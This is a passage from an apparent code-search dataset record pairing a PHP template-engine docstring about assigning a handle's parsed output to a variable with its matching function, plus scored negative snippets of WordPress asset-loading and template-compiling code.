background-color: #<?php echo get_theme_mod('background_color'); ?>;}\n\t\t\n\t\th1,h2,h3,h4,h5,h6,h7,h8 {color: <?php echo get_theme_mod('headers_color'); ?>;}\n\t\t\n\t\ta {\tcolor: <?php echo get_theme_mod('link_color'); ?>;}\n\t\t\n\t\ta:hover, a:focus { color: <?php echo get_theme_mod('link_hover_color'); ?>;}\n\t\n\t<?php\n\t$content_layout = get_theme_mod('content_layout_setting');\n\n\tif ($content_layout == 'compressed') : ?>\n\t\t\n\t\t.the-post {\n\t\t\twidth: 95%;\n\t\t\theight: 100%; <!-- important!!! -->\n\t\t\tmargin: 5px 0 15px 0;\n\t\t\tborder-bottom: 1px solid #eee;\n\t\t}\n\t\t\n\t\t.vid-col {\n\t\t\twidth: 100%;\n\n\t\t}\n\t\t\n\t\t.vid-title {\n\t\t\tmargin-bottom: 5px;\n\t\t}\n\t\t\n\t\t.content-show, .content-hide {\n\t\t\tfont-size: 11px;\n\t\t\tfloat: right;\n\t\t}\n\n\t\t.content-layout{ display: none;}\n\t\t\n\t\n\t<?php endif;?>\n\t\t\n\t</style>\n\t\n\t<?php\n}", "public function load_admin_scripts_styles(){\n\t\t\n\t}", "function add_scripts_to_front() {\n $media = get_option('smfn_option_3') ? get_option('smfn_option_3') : \"1023\";\n wp_register_style('smfn-dynamic-css', plugin_dir_url(SMFN_FILE).'assets/css/dynamic.css.php?media=' . $media);\n wp_enqueue_style( 'smfn-dynamic-css');\n wp_enqueue_script('smfn-actions', plugin_dir_url(SMFN_FILE) . 'assets/js/smfnfunctions.js', array(), '1.0.0', true);\n }", "public function getConcatenateCss() {}", "public function javascript() {\r\n\t\tif ($this->scriptable === true || $this->scriptable === 'true') {\r\n\t\t\t\r\n\t\t\tif(@$this->scriptTo) {\r\n\t\t\t\t$element = pzk_element($this->scriptTo);\r\n\t\t\t\tif($element) {\r\n\t\t\t\t\t$element->append(pzk_parse('<html.js src=\"'.BASE_URL.'/js/'.implode('/', $this->fullNames).'.js\" />'));\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\t$page =pzk_page();\r\n\t\t\t\tif ($page) {\r\n\t\t\t\t\t$page->addObjJs($this->tagName);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tif ($this->jsLink != false) {\r\n\t\t\tif($this->scriptTo) {\r\n\t\t\t\t$elem = pzk_element($this->scriptTo);\r\n\t\t\t\t$elem->append(pzk_parse('<html.js src=\"'.BASE_REQUEST.'/default/skin/'.pzk_app()->name.'/js/'.$this->jsLink.'.js\" />'));\r\n\t\t\t} else {\r\n\t\t\t\tif($page = pzk_page())\r\n\t\t\t\t\t$page->addObjCss($this->cssLink);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}\r\n\t\tif ($this->jsExternalLink != false) {\r\n\t\t\tif($this->scriptTo) {\r\n\t\t\t\t$elem = pzk_element($this->scriptTo);\r\n\t\t\t\t$elem->append(pzk_parse('<html.js src=\"'.$this->jsExternalLink.'\" />'));\r\n\t\t\t} else {\r\n\t\t\t\tif($page = pzk_page()) {\r\n\t\t\t\t\t$page->addExternalCss($this->jsExternalLink);\r\n\t\t\t\t}\t\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}\r\n\t}", "private static function add_global_css() {\n\t\t// bail if css is already added\n\t\tif (self::$css_added) {\n\t\t\treturn;\n\t\t}\n\n\t\tself::$css_added = true;\n\t\tadd_action('admin_head', function () {\n\t\t\techo '<style type=\"text/css\">\n .sacf-help__tip {\n position: absolute;\n visibility: hidden;\n opacity: 0;\n transition: opacity 0.25s ease-in 0s, visibility 0s linear 0.25s;\n z-index: 99999;\n left: 120%;\n top: 4px;\n width: 50vw;\n min-width: 300px;\n max-width: 700px;\n box-shadow: 0 3px 30px rgba(25, 30, 35, 0.1);\n border: 1px solid #e2e4e7;\n background: #fff;\n padding: 1.5em 0;\n line-height: 1.6;\n transform: translateY(-50%);\n font-size: 0.9em;\n font-weight: normal;\n display: table;\n cursor: auto;\n }\n .sacf-help__tip:before, .sacf-help__tip:after { content: \"\"; position: absolute; height: 0; width: 0; line-height: 0; }\n .sacf-help__tip:before { border: 8px solid #e2e4e7; top: 50%; }\n .sacf-help__tip:after { border: 8px solid #fff; top: 50%; left: 2px; }\n .sacf-help__tip:before, .sacf-help__tip:after { border-right-style: solid; border-top-color: transparent; border-bottom-color: transparent; border-left: none; margin-left: -9px; }\n .sacf-help { position: relative; display: inline-block; margin-left: 0.5em; }\n .sacf-help:hover .sacf-help__tip { visibility: visible; opacity: 1; transition: opacity 0.25s ease-out 1s, visibility 0s linear 1s; }\n .sacf-help svg { width: 18px; height: 18px; bottom: -5px; position: relative; }\n .sacf-help dl { display: table-row; }\n .sacf-help dl:nth-child(even) { background-color: #fafafa; }\n .sacf-help dt { display: table-cell; padding: 0.1em 1.6em; font-family: monospace; font-weight: 600;}\n .sacf-help dd { display: table-cell; padding: 0.1em 1.6em; margin: 0; }\n </style>';\n\t\t});\n\t}", "public function js_css_public(){\n\n wp_enqueue_style('asRange', plugin_dir_url(__FILE__). 'libs/assets/css/asRange.min.css', false, $this->version());\n wp_enqueue_style('select2', plugin_dir_url(__FILE__). 'libs/assets/css/select2.min.css', false, $this->version());\n wp_enqueue_style('flatpickr', plugin_dir_url(__FILE__). 'libs/assets/css/flatpickr.min.css', false, $this->version());\n wp_enqueue_style('metform-ui', plugin_dir_url(__FILE__). 'libs/assets/css/metform-ui.css', false, $this->version());\n wp_enqueue_style('font-awesome', plugin_dir_url(__FILE__). 'libs/assets/css/font-awesome.min.css', false, $this->version());\n wp_enqueue_style('metform-style', plugin_dir_url(__FILE__). 'libs/assets/css/style.css', false, $this->version());\n \n wp_enqueue_script('asRange', plugin_dir_url(__FILE__) . 'libs/assets/js/jquery-asRange.min.js', array(), $this->version(), true);\n wp_enqueue_script('select2', plugin_dir_url(__FILE__) . 'libs/assets/js/select2.min.js', array(), $this->version(), true);\n wp_enqueue_script('flatpickr', plugin_dir_url(__FILE__) . 'libs/assets/js/flatpickr.js', array(), $this->version(), true);\n \n wp_register_script('recaptcha', 'https://www.google.com/recaptcha/api.js?onload=onloadMetFormCallback&render=explicit', array(), $this->version(), true);\n wp_enqueue_script('metform-submission', plugin_dir_url(__FILE__) . 'libs/assets/js/submission.js', array(), $this->version(), true);\n \n\n }", "public function init()\n{\n//'assets/js/cssrefresh.js'\n// ];\n parent::init();\n}", "function add_admin_styles(){\n\t?>\t\n\t<script type=\"text/javascript\" src=\"<?php echo BBO_POSTS_URL ?>scripts.js\"></script>\n\t<script type=\"text/javascript\" src=\"<?php echo BBO_POSTS_URL ?>smille-script.js\"></script>\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"<?php echo BBO_POSTS_URL ?>styles.css\" />\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"<?php echo BBO_POSTS_URL ?>simple-styles.css\" />\n\t<?php\n}", "function goodrds_admin_scripts() {\n\t\t// only on our backend page\n\t\tif (get_current_screen()->base == 'settings_page_goodrds') {\n\t wp_register_style( 'goodrds_css', plugins_url('goodrds-admin.css', __FILE__), false, '0.1' );\n\t wp_enqueue_style( 'goodrds_css' );\n\n\t wp_register_script( 'goodrds_js', plugins_url('goodrds-admin.js', __FILE__), array('jquery'), '0.1', true );\n\t wp_enqueue_script( 'goodrds_js' );\n\t }\n\t}", "public static function wp_slim_styles(){\r\n\t echo '<style> \r\n\t .slim-btn-edit {\r\n\t background-image: url(\"'.plugin_dir_url(__FILE__).'assets/images/edit.png'.'\");\r\n\t } \r\n\t </style>';\r\n\t}", "public function private_theme_functions()\n {\n // Adds plus button\n add_action('in_admin_header', [ & $this, 'addParallaxBlock'], -200);\n\n // Replace the common scripts\n add_action('wp_default_scripts', [$this, 'changeCommonScript'], 11);\n }", "function thmplt_carousel_add_jscss() {\r\n global $post;\r\n\t$url_to_here = str_replace( TEMPLATEPATH, get_bloginfo('template_url'), dirname(__FILE__) );\r\n\tif ('thmplt_carousel' === $post->post_type) {\t\t\r\n\t\techo \"<script type='text/javascript' src='\".$url_to_here. \"/carousel.js'></script>\\n\";\r\n\t\t#echo \"<link rel='stylesheet'href='\".$plugin_url.\"/editor.css' type='text/css' media='all' \\>\\n\";\t\t\r\n\t}\r\n}", "private function add_rich_form_scripts() {\r\n\r\n\t$this->template->libs_js = array(\r\n\t \"http://code.jquery.com/jquery-1.8.2.js\",\r\n\t \"http://code.jquery.com/ui/1.9.1/jquery-ui.js\",\r\n\t \"jquery-ui-timepicker-addon.js\",\r\n\t \"http://cdn.aloha-editor.org/latest/lib/require.js\"\r\n\t);\r\n\t$this->template->libs_css = array(\r\n\t \"http://code.jquery.com/ui/1.9.1/themes/base/jquery-ui.css\",\r\n\t \"datetimepicker.css\",\r\n\t \"http://cdn.aloha-editor.org/latest/css/aloha.css\"\r\n\t);\r\n }", "function TS_VCSC_DisplayCustomCSS() {\r\n\t\t\tif (($this->TS_VCSC_PluginExtended == \"false\") || (($this->TS_VCSC_PluginExtended == \"true\") && ($this->TS_VCSC_UseCodeEditors == \"true\"))) {\r\n\t\t\t\t$ts_vcsc_extend_custom_css = \t\t\t\tget_option('ts_vcsc_extend_custom_css');\r\n\t\t\t\t$ts_vcsc_extend_custom_css_default =\t\tget_option('ts_vcsc_extend_settings_customCSS');\r\n\t\t\t\tif ((!empty($ts_vcsc_extend_custom_css)) && ($ts_vcsc_extend_custom_css != $ts_vcsc_extend_custom_css_default)) {\r\n\t\t\t\t\techo '<style type=\"text/css\" media=\"all\">' . \"\\n\";\r\n\t\t\t\t\t\techo '/* Custom CSS for Composium - WP Bakery Page Builder Extensions Addon */' . \"\\n\";\r\n\t\t\t\t\t\techo TS_VCSC_MinifyCSS($ts_vcsc_extend_custom_css) . \"\\n\";\r\n\t\t\t\t\techo '</style>' . \"\\n\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}", "public function enableCompressCss() {}" ]
[ "0.7198444", "0.7172295", "0.688963", "0.6839885", "0.6830913", "0.6830913", "0.6830913", "0.6830913", "0.6830913", "0.681146", "0.68060416", "0.6805582", "0.6682269", "0.6682269", "0.6682269", "0.6650118", "0.6618637", "0.65775573", "0.6551008", "0.649343", "0.6493419", "0.64790237", "0.6439897", "0.6428614", "0.64061403", "0.64030147", "0.64027876", "0.63899046", "0.6366192", "0.6354298", "0.6327758", "0.6326717", "0.63232064", "0.6303094", "0.62905407", "0.6290301", "0.6289732", "0.6288286", "0.6256967", "0.62530476", "0.6252157", "0.62476885", "0.6246728", "0.62240314", "0.6211946", "0.6210105", "0.6208677", "0.61893964", "0.61864054", "0.6158363", "0.6152898", "0.6147181", "0.6147181", "0.6147181", "0.61458594", "0.61348027", "0.61346465", "0.61344594", "0.611964", "0.6108008", "0.6098872", "0.6098069", "0.6097181", "0.60888135", "0.6078894", "0.60625863", "0.60611105", "0.6056135", "0.605164", "0.6051474", "0.60410607", "0.6037328", "0.60334635", "0.6032358", "0.60315907", "0.6026168", "0.6024772", "0.6024533", "0.60243946", "0.6018939", "0.60157216", "0.6012932", "0.6008547", "0.6007691", "0.60049814", "0.60016197", "0.6001451", "0.5998294", "0.59907615", "0.59897393", "0.5983788", "0.59806883", "0.59769", "0.5973327", "0.5968028", "0.5966854", "0.59654367", "0.5962983", "0.5958746", "0.5946077" ]
0.64443547
22
Inserts the uncompiled code for $handle as the value of $varname in the rootlevel. This can be used to effectively include a template in the middle of another template. Note that all desired assignments to the variables in $handle should be done BEFORE calling this function.
function assign_var_from_handle($varname, $handle) { ob_start(); $res = $this->pparse($handle); $this->vars[$varname] = ob_get_contents(); ob_end_clean(); return $res; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function append_var_from_handle_to_block($blockname, $varname, $handle)\n\t{\n\t\t$this->assign_var_from_handle('_tmp', $handle);\n\t\t// assign the value of the generated variable to the given varname.\n\t\t$this->append_block_vars($blockname, array($varname => $this->vars['_tmp']));\n\t\treturn true;\n\t}", "function parse($handle, $tplvar, $parent) {\n yats_assign($this->mBlockHandles[$parent], $tplvar, yats_getbuf($this->mBlockHandles[$handle], $this->default_locale, $this->default_domain, $this->default_dir));\n }", "function compile($code, $do_not_echo = false, $retvar = '')\n\t{\n\t\t$code = str_replace('\\\\', '\\\\\\\\', $code);\n\t\t$code = str_replace('\\'', '\\\\\\'', $code);\n\n\t\t// change template varrefs into PHP varrefs\n\n\t\t// This one will handle varrefs WITH namespaces\n\t\t$varrefs = array();\n\t\tpreg_match_all('#\\{(([a-z0-9\\-_]+?\\.)+?)([a-z0-9\\-_]+?)\\}#is', $code, $varrefs);\n\t\t$varcount = sizeof($varrefs[1]);\n\t\tfor ($i = 0; $i < $varcount; $i++)\n\t\t{\n\t\t\t$namespace = $varrefs[1][$i];\n\t\t\t$varname = $varrefs[3][$i];\n\t\t\t$new = $this->generate_block_varref($namespace, $varname);\n\n\t\t\t$code = str_replace($varrefs[0][$i], $new, $code);\n\t\t}\n\n\t\t// This will handle the remaining root-level varrefs\n\t\t$code = preg_replace('#\\{([a-z0-9\\-_]*?)\\}#is', '\\' . ( ( isset($this->_tpldata[\\'.\\'][0][\\'\\1\\']) ) ? $this->_tpldata[\\'.\\'][0][\\'\\1\\'] : \\'\\' ) . \\'', $code);\n\n\t\t// Break it up into lines.\n\t\t$code_lines = explode(\"\\n\", $code);\n\n\t\t$block_nesting_level = 0;\n\t\t$block_names = array();\n\t\t$block_names[0] = \".\";\n\n\t\t// Second: prepend echo ', append ' . \"\\n\"; to each line.\n\t\t$line_count = sizeof($code_lines);\n\t\tfor ($i = 0; $i < $line_count; $i++)\n\t\t{\n\t\t\t$code_lines[$i] = chop($code_lines[$i]);\n\t\t\tif (preg_match('#<!-- BEGIN (.*?) -->#', $code_lines[$i], $m))\n\t\t\t{\n\t\t\t\t$n[0] = $m[0];\n\t\t\t\t$n[1] = $m[1];\n\n\t\t\t\t// Added: dougk_ff7-Keeps templates from bombing if begin is on the same line as end.. I think. :)\n\t\t\t\tif ( preg_match('#<!-- END (.*?) -->#', $code_lines[$i], $n) )\n\t\t\t\t{\n\t\t\t\t\t$block_nesting_level++;\n\t\t\t\t\t$block_names[$block_nesting_level] = $m[1];\n\t\t\t\t\tif ($block_nesting_level < 2)\n\t\t\t\t\t{\n\t\t\t\t\t\t// Block is not nested.\n\t\t\t\t\t\t$code_lines[$i] = '$_' . $n[1] . '_count = ( isset($this->_tpldata[\\'' . $n[1] . '.\\']) ) ? sizeof($this->_tpldata[\\'' . $n[1] . '.\\']) : 0;';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . 'for ($_' . $n[1] . '_i = 0; $_' . $n[1] . '_i < $_' . $n[1] . '_count; $_' . $n[1] . '_i++)';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . '{';\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t// This block is nested.\n\n\t\t\t\t\t\t// Generate a namespace string for this block.\n\t\t\t\t\t\t$namespace = implode('.', $block_names);\n\t\t\t\t\t\t// strip leading period from root level..\n\t\t\t\t\t\t$namespace = substr($namespace, 2);\n\t\t\t\t\t\t// Get a reference to the data array for this block that depends on the\n\t\t\t\t\t\t// current indices of all parent blocks.\n\t\t\t\t\t\t$varref = $this->generate_block_data_ref($namespace, false);\n\t\t\t\t\t\t// Create the for loop code to iterate over this block.\n\t\t\t\t\t\t$code_lines[$i] = '$_' . $n[1] . '_count = ( isset(' . $varref . ') ) ? sizeof(' . $varref . ') : 0;';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . 'for ($_' . $n[1] . '_i = 0; $_' . $n[1] . '_i < $_' . $n[1] . '_count; $_' . $n[1] . '_i++)';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . '{';\n\t\t\t\t\t}\n\n\t\t\t\t\t// We have the end of a block.\n\t\t\t\t\tunset($block_names[$block_nesting_level]);\n\t\t\t\t\t$block_nesting_level--;\n\t\t\t\t\t$code_lines[$i] .= '} // END ' . $n[1];\n\t\t\t\t\t$m[0] = $n[0];\n\t\t\t\t\t$m[1] = $n[1];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// We have the start of a block.\n\t\t\t\t\t$block_nesting_level++;\n\t\t\t\t\t$block_names[$block_nesting_level] = $m[1];\n\t\t\t\t\tif ($block_nesting_level < 2)\n\t\t\t\t\t{\n\t\t\t\t\t\t// Block is not nested.\n\t\t\t\t\t\t$code_lines[$i] = '$_' . $m[1] . '_count = ( isset($this->_tpldata[\\'' . $m[1] . '.\\']) ) ? sizeof($this->_tpldata[\\'' . $m[1] . '.\\']) : 0;';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . 'for ($_' . $m[1] . '_i = 0; $_' . $m[1] . '_i < $_' . $m[1] . '_count; $_' . $m[1] . '_i++)';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . '{';\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t// This block is nested.\n\n\t\t\t\t\t\t// Generate a namespace string for this block.\n\t\t\t\t\t\t$namespace = implode('.', $block_names);\n\t\t\t\t\t\t// strip leading period from root level..\n\t\t\t\t\t\t$namespace = substr($namespace, 2);\n\t\t\t\t\t\t// Get a reference to the data array for this block that depends on the\n\t\t\t\t\t\t// current indices of all parent blocks.\n\t\t\t\t\t\t$varref = $this->generate_block_data_ref($namespace, false);\n\t\t\t\t\t\t// Create the for loop code to iterate over this block.\n\t\t\t\t\t\t$code_lines[$i] = '$_' . $m[1] . '_count = ( isset(' . $varref . ') ) ? sizeof(' . $varref . ') : 0;';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . 'for ($_' . $m[1] . '_i = 0; $_' . $m[1] . '_i < $_' . $m[1] . '_count; $_' . $m[1] . '_i++)';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . '{';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (preg_match('#<!-- END (.*?) -->#', $code_lines[$i], $m))\n\t\t\t{\n\t\t\t\t// We have the end of a block.\n\t\t\t\tunset($block_names[$block_nesting_level]);\n\t\t\t\t$block_nesting_level--;\n\t\t\t\t$code_lines[$i] = '} // END ' . $m[1];\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// We have an ordinary line of code.\n\t\t\t\tif (!$do_not_echo)\n\t\t\t\t{\n\t\t\t\t\t$code_lines[$i] = 'echo \\'' . $code_lines[$i] . '\\' . \"\\\\n\";';\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$code_lines[$i] = '$' . $retvar . '.= \\'' . $code_lines[$i] . '\\' . \"\\\\n\";'; \n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Bring it back into a single string of lines of code.\n\t\t$code = implode(\"\\n\", $code_lines);\n\t\treturn $code\t;\n\n\t}", "function global_parse($handle, $tplvar)\n {\n $this->global_assign(array($tplvar => yats_getbuf($this->mBlockHandles[$handle], $this->default_locale, $this->default_domain, $this->default_dir)));\n }", "function pparse($handle)\n\t{\n\t\tif ( defined('DEBUG_TEMPLATE') && !$this->no_debug )\n\t\t{\n\t\t\techo '<!-- Start of : ' . $this->files[$handle] . ' :: ' . $handle . ' -->' . \"\\n\";\n\t\t}\n\t\tif ($filename = $this->_tpl_load($handle))\n\t\t{\n\t\t\tinclude($filename);\n\t\t}\n\t\telse\n\t\t{\n\t\t\teval(' ?>' . $this->compiled_code[$handle] . '<?php ');\n\t\t}\n\t\tif ( defined('DEBUG_TEMPLATE') && !$this->no_debug )\n\t\t{\n\t\t\techo '<!-- End of : ' . $this->files[$handle] . ' :: ' . $handle . ' -->' . \"\\n\";\n\t\t}\n\n\t\treturn true;\n\t}", "function define($handle, $template)\n {\n $this->mBlockHandles[$handle] = yats_define($this->mPath . $template, $this->mPath );\n\n yats_assign($this->mBlockHandles[$handle], $this->mGlobalAssignArray);\n\n foreach($this->mGlobalHideSectionArray as $key => $hidden) {\n yats_hide($this->mBlockHandles[$handle], $key, $hidden);\n }\n\n $this->mBlockKeys = array($handle => array());\n }", "public function assignTemplateVariable($varName, $varValue);", "function execute($filename, $code, $handle)\n\t{\n\t\tglobal $lang, $theme, $config;\n\t\t$template = $theme['template_name'];\n\t\tglobal ${$template};\n\t\t$theme_info = &${$template};\n\t\t$exclude_tpl_array = array('def_tree_def.tpl', 'rss_body.tpl');\n\t\t//die(basename($this->files[$handle]));\n\t\tif($config['xs_add_comments'] && $handle && !in_array(basename($this->files[$handle]), $exclude_tpl_array))\n\t\t{\n\t\t\techo '<!-- template ', $this->files[$handle], ' start -->';\n\t\t}\n\t\tif($filename)\n\t\t{\n\t\t\tinclude($filename);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/*\n\t\t\tdie($this->files[$handle]);\n\t\t\tdie($code);\n\t\t\t*/\n\t\t\teval($code);\n\t\t}\n\t\tif($config['xs_add_comments'] && $handle && !in_array(basename($this->files[$handle]), $exclude_tpl_array))\n\t\t{\n\t\t\techo '<!-- template ', $this->files[$handle], ' end -->';\n\t\t}\n\t\treturn true;\n\t}", "function _tpl_include($filename)\n\t{\n\t\tif ( !empty($filename) )\n\t\t{\n\t\t\t$this->set_filenames(array($filename => $filename));\n\t\t\t$this->pparse($filename);\n\t\t}\n\t}", "function _tpl_load_file($handle)\n\t{\n\t\tglobal $config;\n\n\t\t// Try and open template for read\n\t\tif (!($fp = @fopen($this->files[$handle], 'r')))\n\t\t{\n\t\t\tmessage_die(GENERAL_ERROR, 'template->_tpl_load(): File ' . $this->files[$handle] . ' does not exist or is empty', '', __LINE__, __FILE__);\n\t\t}\n\n\t\t// compile required\n\t\tinclude_once($config->url('includes/class_template_compiler'));\n\t\t$tpl_compiler = new tpl_compiler();\n\t\t$this->compiled_code[$handle] = $tpl_compiler->compile(trim(@fread($fp, filesize($this->files[$handle]))));\n\t\t@fclose($fp);\n\n\t\t// output the template to the cache\n\t\tif ( !$config->data['cache_disabled_template'] )\n\t\t{\n\t\t\t$filename = ($this->mains[$handle] ? $this->alt_cacheprefix : $this->cacheprefix) . str_replace('/', '_', $this->filename[$handle]) . '.' . $config->ext;\n\t\t\t$tpl_compiler->compile_write($handle, $this->compiled_code[$handle], $filename);\n\t\t}\n\t\tunset($tpl_compiler);\n\t}", "function _tpl_load($handle)\n\t{\n\t\tglobal $config, $user, $db;\n\n\t\t// If we don't have a file assigned to this handle, die.\n\t\tif ( !isset($this->files[$handle]) )\n\t\t{\n\t\t\tmessage_die(GENERAL_ERROR, 'template->_tpl_load(): No file specified for handle ' . $handle, '', __LINE__, __FILE__);\n\t\t}\n\n\t\t// get the file name\n\t\t$w_filename = str_replace('/', '_', $this->filename[$handle]);\n\t\t$filename = ($this->mains[$handle] ? $this->alt_cacheprefix : $this->cacheprefix) . $w_filename . '.' . $config->ext;\n\n\t\t// Recompile page if the original template is newer, otherwise load the compiled version\n\t\tif ( !empty($this->compiled_code[$handle]) )\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\telse if ( !$config->data['cache_disabled_template'] && @file_exists($filename) && (!$config->data['cache_check_template'] || (@filemtime($filename) > @filemtime($this->files[$handle]))) )\n\t\t{\n\t\t\treturn $filename;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_tpl_load_file($handle);\n\t\t}\n\t\treturn false;\n\t}", "public function insertPhpCode($code)\n {\n $this->current_buffer->append_subtree($this, new Smarty_Internal_ParseTree_Tag($this, $code));\n }", "function get_var($handle)\r\n\t{\r\n\t\tif (!isset($this->vars[$handle])) { $this->error(\"phemplate(): no such handle '$handle'\", 'warning'); }\r\n\t\treturn $this->vars[$handle];\r\n\t}", "function var_template_include( $t )\n{\n $GLOBALS['current_theme_template'] = basename($t);\n return $t;\n}", "private function protectedInclude()\n {\n $_tpl = $this;\n\n // View Helpers:\n // * Include another view into the current view:\n $_view = function ($tplName, $params = [], $preventCache = false) use ($_tpl) {\n $tplCopy = clone $_tpl; // Don't want to mess with the calling template's settings.\n echo($tplCopy->render($tplName, $params, $preventCache));\n unset($tplCopy);\n };\n // * Encode html for a 'Safe String'.\n $_ss = function ($str) {\n return htmlspecialchars($str, ENT_QUOTES);\n };\n\n // Extract template parameters into this local namespace.\n $allParams = (object) array_merge((array)self::$staticParams, (array)$this->params);\n extract(get_object_vars($allParams));\n unset($allParams);\n\n // Included template has access to variables local to this function.\n include($this->templateFile);\n }", "protected function initTemplate()\n {\n /** @var WorldState $state */\n /** @var ExecHelper $exec */\n $tplPhp = <<<EOS\nWorld. From: <?=\\$state->name?>\n\nExec URL: <?=\\$exec->url( 'someExec', ['a'=>1] )?><?php \\$formBody = \"<input type=\\\"text\\\" name=\\\"someInput\\\" value=\\\"2\\\">\\n\"?>\n\nExec Form:\n<?=\\$exec->wrapForm( 'otherExec', 'POST', \\$formBody ) ?>\nEOS;\n $this->template = new PhpTemplate( $this, null, $tplPhp );\n }", "protected function setVarToTemplates()\n {\n $this->templates->set_tpl($this->varName, $this->checkNewCommondaty());\n }", "protected function setTemplateVariables() {}", "public function _include($template_name, $global_vars=array()) // include\n {}", "function compile($name, $code = false)\n {\n\t\tif (!$code)\n\t\t{\n\t\t\t$code = file_get_contents($this->template_dir.$name);\n\t\n\t\t\tif ($code === false)\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\tpreg_match_all('/\\<!--[ ]*(.*?) (.*?)?[ ]*--\\>/', $code, $tag_blocks);\n\t\t$content_blocks = preg_split('/\\<!--[ ]*(.*?) (.*?)?[ ]*--\\>/', $code);\n\n\t\t$size = count($content_blocks);\n\n\t\t$parse_content = $compile = true;\n\t\t$tag_holding = array();\n\t\t$line = 1;\n\r\n\t\tfor ($loop = 0; $loop < $size; $loop++)\r\n\t\t{\n\t\t\t$line += substr_count($content_blocks[$loop], \"\\n\");\n\n\t\t\tif (!$compile)\n\t\t\t{\n\t\t\t\tif (strtoupper(trim($tag_blocks[1][$loop])) == 'ENDIGNORE')\n\t\t\t\t{\n\t\t\t\t\t$compile = true;\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif ($parse_content)\n\t\t\t{\n\t\t\t\t$content_blocks[$loop] = $this->_parse_content($content_blocks[$loop]);\n\t\t\t}\n\n\t\t\tif (empty($tag_blocks[1][$loop]))\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tswitch (strtoupper(trim($tag_blocks[1][$loop])))\r\n\t\t\t{\n\t\t\t\tcase 'IF':\n\t\t\t\t\t$this->_tag_holding_add('IF', $line);\n\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_if($tag_blocks[2][$loop]);\r\n\t\t\t\tbreak;\r\n\r\n\t\t\t\tcase 'ELSE':\n\t\t\t\t\t$last_tag = $this->_tag_holding_view();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'IF')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\r\n\n\t\t\t\t\t$tag_blocks[0][$loop] = '<?php } else { ?>';\r\n\t\t\t\tbreak;\r\n\r\n\t\t\t\tcase 'ELSEIF':\n\t\t\t\t\t$last_tag = $this->_tag_holding_view();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'IF')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\r\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_if($tag_blocks[2][$loop], true);\r\n\t\t\t\tbreak;\r\n\r\n\t\t\t\tcase 'ENDIF':\n\t\t\t\t\t$last_tag = $this->_tag_holding_get();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'IF')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\r\n\t\t\t\t\t$tag_blocks[0][$loop] = '<?php } ?>';\r\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\t\tcase 'LOOP':\n\t\t\t\t\t$this->_tag_holding_add('LOOP', $line);\n\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_loop($tag_blocks[2][$loop]);\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'LOOPELSE':\n\t\t\t\t\t$last_tag = $this->_tag_holding_get();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'LOOP')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\n\t\t\t\t\t$this->_tag_holding_add('LOOPELSE', $line);\n\n\t\t\t\t\t$tag_blocks[0][$loop] = '<?php } } else { ?>';\n\t\t\t\tbreak;\n\t\t\t\t\t\n\t\t\t\tcase 'ENDLOOP':\n\t\t\t\t\t$last_tag = $this->_tag_holding_get();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != ('LOOP' || 'LOOPELSE'))\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_endloop($tag_blocks[2][$loop], $last_tag['name']);\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'PHP':\n\t\t\t\t\t$this->_tag_holding_add('PHP', $line);\n\n\t\t\t\t\t$parse_content = false;\n\t\t\t\t\t$tag_blocks[0][$loop] = '<?php ';\r\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'ENDPHP':\n\t\t\t\t\t$last_tag = $this->_tag_holding_get();\n\t\t\t\t\t\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 